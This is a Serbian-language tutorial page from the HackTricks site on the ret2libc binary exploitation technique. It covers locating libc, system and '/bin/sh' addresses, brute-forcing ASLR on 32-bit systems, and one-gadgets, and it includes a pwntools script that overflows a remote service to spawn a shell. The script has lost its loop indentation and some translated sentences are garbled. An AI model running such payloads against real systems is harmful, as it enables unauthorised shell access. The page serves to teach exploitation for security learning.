Ret2lib

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Osnovne informacije

Suština Ret2Libc je preusmeravanje izvršnog toka ranjivog programa ka funkciji unutar deljene biblioteke (npr. system, execve, strcpy) umesto izvršavanja shell koda koji je dostavljen od strane napadača na steku. Napadač kreira payload koji modifikuje povratnu adresu na steku tako da pokazuje na željenu funkciju biblioteke, dok istovremeno organizuje da svi neophodni argumenti budu pravilno postavljeni u skladu sa konvencijom pozivanja.

Primer koraka (simplifikovan)

  • Dobiti adresu funkcije koja se poziva (npr. system) i komandu koja se poziva (npr. /bin/sh)

  • Generisati ROP lanac da se prosledi prvi argument koji pokazuje na string komande i izvršni tok funkciji

Pronalaženje adresa

  • Pretpostavljajući da se libc koji se koristi nalazi na trenutnoj mašini, možete saznati gde će biti učitan u memoriju sa:

ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)

Ako želite da proverite da li ASLR menja adresu libc-a, možete uraditi sledeće:

for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
  • Znajući korišćenu libc biblioteku, takođe je moguće pronaći offset do funkcije system pomoću:

readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
  • Znajući korišćenu libc biblioteku, takođe je moguće pronaći offset do stringa /bin/sh funkcije sa:

strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh

Korišćenje gdb-peda / GEF

Znajući korišćenu libc biblioteku, takođe je moguće koristiti Peda ili GEF da dobijete adresu funkcije system, funkcije exit i stringa /bin/sh :

p system
p exit
find "/bin/sh"

Korišćenje /proc/<PID>/maps

Ako proces stvara dečake svaki put kada razgovarate s njim (mrežni server), pokušajte da pročitate taj fajl (verovatno će vam biti potrebno da budete root).

Ovde možete pronaći tačno gde je učitan libc unutar procesa i gde će biti učitan za svako dete procesa.

U ovom slučaju učitan je na 0xb75dc000 (Ovo će biti bazna adresa libc-a)

Nepoznat libc

Moguće je da ne znate koji libc učitava binarni fajl (jer se možda nalazi na serveru do kojeg nemate pristup). U tom slučaju možete iskoristiti ranjivost da procurete neke adrese i pronađete koji libc se koristi:

pageLeaking libc address with ROP

A možete pronaći šablon pwntools-a za ovo u:

pageLeaking libc - template

Poznati libc sa 2 ofseta

Proverite stranicu https://libc.blukat.me/ i koristite par adresa funkcija unutar libc-a da biste saznali verziju koja se koristi.

Bajpasovanje ASLR-a u 32 bita

Ovi napadi brute-forcinga su korisni samo za 32-bitne sisteme.

  • Ako je eksploatacija lokalna, možete pokušati da brute-force-ujete baznu adresu libc-a (korisno za 32-bitne sisteme):

for off in range(0xb7000000, 0xb8000000, 0x1000):
  • Ako napadate udaljeni server, možete pokušati bruteforce-ovati adresu libc funkcije usleep, prosleđujući kao argument 10 (na primer). Ako server u nekom trenutku dodatno odgovori za 10 sekundi, pronašli ste adresu ove funkcije.

Jedan Gadget

Izvršite shell skočivši na jednu određenu adresu u libc-u:

pageOne Gadget

x86 Ret2lib Primer Koda

U ovom primeru ASLR bruteforce je integrisan u kod, a ranjivi binarni fajl se nalazi na udaljenom serveru:

from pwn import *

c = remote('192.168.85.181',20002)
c.recvline()

for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE, could be address of exit()
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive()

Primer koda za x64 Ret2lib

Proverite primer sa:

pageROP - Return Oriented Programing

Primer ARM64 Ret2lib

U slučaju ARM64, instrukcija ret skače na lokaciju na koju pokazuje registar x30, a ne na lokaciju na koju pokazuje registar steka. Zbog toga je malo složenije.

Takođe, u ARM64 instrukcija radi ono što instrukcija radi (nije moguće skočiti usred instrukcija i transformisati ih u nove).

Proverite primer sa:

pageRet2lib + Printf leak - arm64

Ret-into-printf (ili puts)

Ovo omogućava procurivanje informacija iz procesa pozivanjem printf/puts sa određenim podacima postavljenim kao argument. Na primer, stavljanje adrese puts u GOT-u u izvršavanje puts će procuriti adresu puts u memoriji.

Ret2printf

Ovo u osnovi znači zloupotrebu Ret2lib kako bi se pretvorio u ranjivost sa formatiranim stringovima za printf koristeći ret2lib za pozivanje printf sa vrednostima kako bi se iskoristio (zvuči beskorisno ali je moguće):

pageFormat Strings

Ostali primeri i reference

Last updated